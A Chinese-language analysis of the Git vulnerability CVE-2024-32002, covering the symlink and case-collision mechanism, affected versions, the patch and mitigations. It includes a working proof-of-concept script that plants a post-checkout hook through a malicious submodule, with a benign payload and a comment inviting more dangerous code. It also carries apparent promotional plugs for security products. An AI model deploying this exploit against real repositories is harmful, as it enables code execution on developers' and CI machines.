CVE-2024-32002 漏洞核心原理与机制分析
CVE-2024-32002 是一个存在于 Git 核心组件中的远程代码执行（RCE）漏洞，其 CVSS 评分高达 9.0。该漏洞源于 Git 在处理子模块（submodules）路径时，未能有效处理大小写不敏感（case-insensitive）文件系统（如 Windows 的 NTFS 和 macOS 的 APFS）与符号链接（symbolic links）之间的交互逻辑。攻击者可以通过构造一个包含恶意子模块的仓库，在用户执行 git clone --recursive 操作时，绕过 Git 的安全检查，将恶意脚本写入 .git/hooks 目录，从而在克隆完成后立即执行任意代码。
受影响版本与环境
该漏洞主要影响在大小写不敏感文件系统上运行的 Git 客户端。下表列出了受影响的版本范围及修复建议：
| 组件 | 受影响版本 | 修复版本 |
|---|---|---|
| Git (Community) | < 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, 2.39.4 | 2.45.1 或更高 |
| GitHub Desktop | < 3.4.1 | 3.4.1 |
| Visual Studio 2022 | 17.10, 17.9, 17.8, 17.7, 17.6 | 17.10.1, 17.9.8, 17.8.11等 |
漏洞利用的技术深度解析
漏洞的根源在于 Git 在克隆子模块时对路径名碰撞的处理方式。在 Linux 等大小写敏感的系统上，文件夹 A 和 a 是完全独立的实体；但在 Windows 或 macOS 上，这两个名称指向同一个磁盘位置。CVE-2024-32002 利用了这一特性，通过以下三个关键要素构建攻击向量：
- 符号链接攻击： 攻击者创建一个名为
A的符号链接，指向.git文件夹。 - 大小写混淆： 攻击者定义一个路径为
a/modules/sub的子模块。 - 路径解析错误： 在克隆过程中，Git 首先创建符号链接
A。当尝试写入子模块a的内容时，由于文件系统不区分大小写，Git 会错误地遵循已存在的符号链接A（即指向.git的链接）。
这种逻辑偏差导致 Git 将子模块的内部元数据（包括钩子脚本 hooks）直接写入到了父仓库的 .git/ 目录下。通常情况下，.git/hooks 目录存储了在特定 Git 事件发生时运行的可执行脚本。通过这种路径穿越，攻击者可以将名为 post-checkout 的恶意脚本植入该目录。
漏洞复现路径与 Payload 构造
为了深入理解该漏洞，可以参考以下简化的利用流程。在测试此类漏洞时，建议使用 Secably 进行环境扫描，以确保测试环境的隔离性与安全性。首先，构造一个包含恶意钩子的远程仓库：
# 创建恶意钩子仓库 (hook-repo)
git init hook-repo
cd hook-repo
mkdir -p dotgit/hooks
cat <<EOF > dotgit/hooks/post-checkout
#!/bin/sh
echo "[!] Exploit Triggered: $(id)"
# 这里可以替换为更危险的 RCE 代码
open -a Calculator
EOF
chmod +x dotgit/hooks/post-checkout
git add .
git commit -m "Add malicious hook"
git checkout -b main
cd ..
# 创建主攻击仓库 (parent-repo)
git init parent-repo
cd parent-repo
# 利用符号链接指向 .git 目录
ln -s .git A
# 添加子模块，路径使用不同的大小写形式
git -c protocol.file.allow=always submodule add "$(pwd)/../hook-repo" a/modules/sub
git add .
git commit -m "CVE-2024-32002 exploit setup"
当受害者在 macOS 或 Windows 上执行以下命令时，漏洞将被触发：
git clone --recursive <parent-repo-url>在克隆过程中，由于 A 链接到 .git，子模块 a/modules/sub 的检出操作实际上将 hook-repo/dotgit/hooks/post-checkout 写入了 parent-repo/.git/hooks/post-checkout。克隆结束后的检出动作会自动触发该钩子脚本。
利用文件系统特性的防御难点
Git 的核心设计初衷是在 Linux 环境下运行，而 POSIX 标准对文件系统的严格性要求与消费级操作系统（Windows/macOS）的便利性设计存在冲突。为了防御此类攻击，Git 开发者必须在代码中显式增加对路径规范化（Normalization）的校验。即便如此，在进行网络侦察或资产梳理时，使用 Zondex 可以帮助安全团队发现企业内网中暴露的、使用旧版 Git 客户端的自动化部署节点，这些节点往往是此类 RCE 漏洞的首选目标。
内核级路径检查的缺失
在 CVE-2024-32002 修复补丁中，Git 引入了更严格的 lstat() 检查和路径验证逻辑。修复补丁禁止了子模块路径与现有符号链接在大小写不敏感环境下的冲突。在此之前，Git 假设只要 .gitmodules 中的定义是合法的，文件系统的映射就是安全的。漏洞证明了这种假设在跨平台协作中极具危险性。
针对供应链攻击的风险评估
该漏洞极大地提升了软件供应链攻击的门槛。攻击者不再需要入侵复杂的构建服务器，只需在流行的开源项目中提交一个包含嵌套子模块的恶意 Pull Request，并诱导开发者或自动化 CI/CD 流水线进行克隆。如果企业的 CI 环境运行在 Windows 容器或 macOS 节点上，且未及时更新 Git 版本，整个构建链条将被瞬间攻陷。
对于安全研究人员，建议在进行相关研究时使用 GProxy 隐藏真实的分析环境 IP，防止在与恶意仓库交互时被攻击者反向探测。特别是在分析那些托管在非主流托管平台上的复杂 PoC 时，匿名性是保护本地基础设施的关键。
缓解措施与最佳实践
除了直接升级 Git 客户端外，管理员和开发者可以采取以下防御性措施：
- 禁用递归克隆： 如果不确定仓库的安全性，避免使用
--recursive参数，改为手动检查子模块内容。 - 配置全局安全选项： 在受影响的环境中，可以通过
git config --global core.symlinks false禁用符号链接处理，但这可能会影响部分项目的正常构建。 - 审计 .gitmodules 文件： 在自动化脚本中增加对
.gitmodules定义路径的校验，拦截任何试图在不同大小写下重叠的路径定义。 - 执行严格的 Egress 过滤： 即使 RCE 被触发，严格的出站流量控制也能阻止反弹 shell 或敏感数据的外泄。
Git 的此类漏洞反映了现代版本控制系统在处理底层系统差异时的复杂性。随着跨平台开发的普及，文件系统特性导致的逻辑漏洞将继续成为高价值的研究方向。安全团队应确保持续监控所有的开发终端与服务器，利用自动化工具链及时识别过时的 Git 二进制文件。